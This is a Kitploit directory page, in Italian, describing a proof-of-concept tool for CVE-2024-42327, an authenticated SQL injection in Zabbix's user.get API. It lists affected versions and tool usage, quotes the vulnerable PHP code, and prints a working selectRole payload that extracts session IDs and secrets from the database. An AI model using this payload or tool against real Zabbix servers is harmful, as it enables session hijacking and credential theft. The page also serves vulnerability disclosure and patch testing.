Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-42327_Zabbix_SQLI — POC per CVE-2024-42327, un'iniezione SQL autenticata in Zabbix tramite il metodo API user.get | Kitploit
Strumenti/GitHubGitHub/watchdog1337/cve-2024-42327_zabbix_sqli
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingSicurezza dei Database
GitHubwatchdog1337/cve-2024-42327_zabbix_sqli

CVE-2024-42327_Zabbix_SQLI

POC per CVE-2024-42327, un'iniezione SQL autenticata in Zabbix tramite il metodo API user.get

Vedi Repository
341 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-42327 - Vulnerabilità di SQL Injection in Zabbix (SQLI) (Non cieca e non basata sul tempo)

POC per CVE-2024-42327, una SQL Injection autenticata in Zabbix tramite il metodo API user.get. Questo POC non è basato sul tempo come alcuni altri POC che ho visto in giro.

Descrizione della CVE

La vulnerabilità esiste nell'endpoint API user.get che può essere sfruttato da un utente non amministratore con accesso API, inclusi gli account con il ruolo utente predefinito.

Il difetto di SQL injection esiste nella classe CUser nella funzione addRelatedObjects. Questa funzione viene chiamata da CUser.get, che è disponibile per gli utenti con accesso API.

Un attaccante può iniettare comandi SQL manipolando le chiamate API.

Lo sfruttamento riuscito della vulnerabilità può consentire a un attaccante di ottenere accesso e controllo non autorizzati.

Versioni interessate

root@kitploit:~
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0

POC

Questo POC permette di esfiltrare le credenziali utente dal database, così come i token di sessione per autenticarsi con l'API.

Esiste l'opzione per eseguire una query SQL personalizzata (--query).

Utilizzo

root@kitploit:~
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]

Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The URL to Zabbix (please include the path - http://example.com/zabbix/)
  -U USERNAME, --username USERNAME
                        The username to authenticate with
  -P PASSWORD, --password PASSWORD
                        The password to authenticate with
  --query QUERY         An optional custom SQL query to run through the SQL Injection

Esempio

root@kitploit:~
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password

Esame della vulnerabilità

Esaminando il codice su https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php nella funzione addRelatedObjects, troviamo facilmente la query SQL vulnerabile (righe 3046 - 3051)

root@kitploit:~
$db_roles = DBselect(
				'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
				' FROM users u,role r'.
				' WHERE u.roleid=r.roleid'.
				' AND '.dbConditionInt('u.userid', $userIds)
			);

È subito evidente che i valori inclusi in $options['selectRole'] vengono passati direttamente nella query SQL.

Un tipico blob JSON per raggiungere questa parte del codice è il seguente:

root@kitploit:~
{
  "jsonrpc": "2.0",
  "auth": "AUTH_TOKEN_HERE",
  "id": 1,
  "method": "user.get",
  "params": {
    "output": [
      "userid",
      "username"
    ],
    "selectRole": [
      "type",
      "roleid",
      "name",
      "readonly"
    ]
  }
}

Possiamo modificare i valori di "selectRole" per consentire la SQL Injection

root@kitploit:~
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]

L'iniezione sopra rende la query SQL simile alla seguente:

root@kitploit:~
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)
Scarica lo strumento